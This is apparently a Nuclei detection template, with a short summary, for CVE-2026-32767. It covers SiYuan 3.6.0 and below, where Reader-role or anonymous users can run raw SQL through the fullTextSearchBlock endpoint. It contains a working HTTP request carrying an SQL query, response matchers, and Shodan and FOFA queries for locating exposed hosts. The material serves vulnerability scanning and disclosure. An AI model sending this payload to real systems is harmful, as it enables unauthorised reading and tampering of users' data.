SiYuan 3.6.0 and below pass the query to /api/search/fullTextSearchBlock as a raw SQL statement when method=2, without the administrator checks enforced on /api/query/sql. Any Reader-role session, including anonymous visitors of a publish service with no access authentication, can run arbitrary SQL. Fixed in 3.6.1.
id: CVE-2026-32767
info:
name: SiYuan <= 3.6.0 - Reader Role Raw SQL via fullTextSearchBlock
author: DhiyaneshDk
severity: high
description: |
SiYuan 3.6.0 and below pass the query to /api/search/fullTextSearchBlock as a raw SQL statement when method=2, without the administrator checks enforced on /api/query/sql. Any Reader-role session, including anonymous visitors of a publish service with no access authentication, can run arbitrary SQL. Fixed in 3.6.1.
impact: |
Low-privileged or anonymous Reader users can read, modify, or delete workspace database content.
remediation: |
Upgrade to SiYuan 3.6.1 or later.
reference:
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-j7wh-x834-p3r7
- https://github.com/siyuan-note/siyuan/issues/17209
- https://nvd.nist.gov/vuln/detail/CVE-2026-32767
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
cvss-score: 8.1
cve-id: CVE-2026-32767
epss-score: 0.02893
epss-percentile: 0.87658
cwe-id: CWE-89
metadata:
verified: true
max-request: 1
vendor: siyuan-note
product: siyuan
shodan-query: http.title:"SiYuan"
fofa-query: title="SiYuan"
tags: cve,cve2026,siyuan,sqli,unauth,vuln
http:
- raw:
- |
POST /api/search/fullTextSearchBlock HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"query":"select * from blocks where type='d' limit 1","method":2}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "\"blocks\":[{", "\"type\":\"NodeDocument\"", "\"rootID\"")'
- '!contains(body, "requires administrator privileges")'
condition: and
# digest: 4a0a00473045022100eab05a62358450bb544a25530f29d8356c42f4f17c4e8abd30f79085c26c14080220608262b22547572c6b89caa7968aba7e2b43f9019f0473928151e813f3804671:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.